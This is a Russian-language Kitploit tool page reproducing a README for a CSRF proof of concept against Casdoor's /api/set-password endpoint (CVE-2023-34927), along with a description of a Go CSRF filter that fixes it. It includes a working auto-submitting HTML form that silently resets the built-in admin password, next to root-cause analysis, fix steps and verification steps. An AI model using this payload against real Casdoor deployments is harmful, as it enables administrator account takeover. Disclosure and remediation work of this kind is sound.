Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
csrf_casdoor — Доказательство концепции CSRF-эксплойта для конечной точки `/api/set-password` в Casdoor (CVE-2023-34927), позволяющее несанкционированно изменять пароль через межсайтовые POST-запросы. Включает исправление CSRF-фильтра на основе Go. | Kitploit
Инструменты/GitHubGitHub/vanlam2001/csrf_casdoor
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификация
GitHubvanlam2001/csrf_casdoor

csrf_casdoor

Доказательство концепции CSRF-эксплойта для конечной точки `/api/set-password` в Casdoor (CVE-2023-34927), позволяющее несанкционированно изменять пароль через межсайтовые POST-запросы. Включает исправление CSRF-фильтра на основе Go.

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Casdoor – Cross-Site Request Forgery (CSRF)

Summary

  • Уязвимость: CSRF в /api/set-password, позволяющая изменять пароль без согласия пользователя.
  • Затронутые версии: затронуты все версии программного обеспечения. На данный момент исправленного релиза нет.
  • CVE: CVE-2023-34927 (последний ещё не назначен).
  • Автор эксплойта: Van Lam Nguyen.
  • Протестировано на: Windows

Impact

  • Если жертва вошла в Casdoor, межсайтовый POST-запрос может изменить пароль жертвы (например, built-in/admin), что приведёт к захвату учётной записи.

Attack Prerequisites

  • Жертва аутентифицирована и имеет действительный cookie casdoor_session_id.
  • Жертва посещает вредоносную страницу, которая автоматически отправляет POST-запрос на /api/set-password.

Proof of Concept

root@kitploit:~
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

Root Cause

  • Конечные точки, изменяющие состояние, в /api/* принимают запросы с cookie-аутентификацией без проверки same-origin (Origin/Referer) и без CSRF-токенов.

Fix Overview

  • Добавьте серверный CSRF-фильтр, чтобы отклонять межсайтовые POST/PUT/DELETE/PATCH-запросы с cookie под /api/*.
  • Разрешайте запросы с явной не-cookie аутентификацией (например, Authorization, Basic auth, client credentials или accessToken) или запросы без браузерных сессионных cookie (обычные вызовы «сервер-сервер»).

Implementation

  • Используйте routers.CSRFFilter, реализованный в csrf_filter.go. Этот фильтр:
    • Выполняет ранний возврат для методов, не изменяющих состояние.
    • Разрешает запросы с явной не-cookie аутентификацией.
    • Блокирует межсайтовые запросы, когда присутствует сессионный cookie и origin не совпадает с хостом.

How to Integrate into Casdoor

  1. Скопируйте csrf_filter.go в существующий пакет routers проекта Casdoor. Не изменяйте и не удаляйте ничего в этом файле.
  2. Зарегистрируйте фильтр в начале HTTP-конвейера (внутри main):
    root@kitploit:~
    // Beego v1 style
    beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
    
    // If your project uses Beego v2 and imports as `web`:
    // web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
    

Verification

  • После регистрации фильтра воспроизведите приведённый выше PoC, будучи выполнив вход. Запрос должен быть отклонён с сообщением Unauthorized operation, а сервер должен записать в журнал CSRF check failed.
  • Межсайтовые API-вызовы, содержащие заголовки Authorization или параметры accessToken, должны продолжать работать.

Repository Files

  • csrf_filter.go: CSRF-фильтр для копирования в пакет routers проекта Casdoor.
  • poc.html: Минимальная страница, воспроизводящая CSRF-атаку.
  • README.md: Этот документ с описанием уязвимости и шагов по исправлению.

References

  • Casdoor: https://casdoor.org/
  • Версия: https://github.com/casdoor/casdoor/releases
  • https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

Video

  • Youtube: https://youtu.be/N5VENgiObjY
Скачать инструмент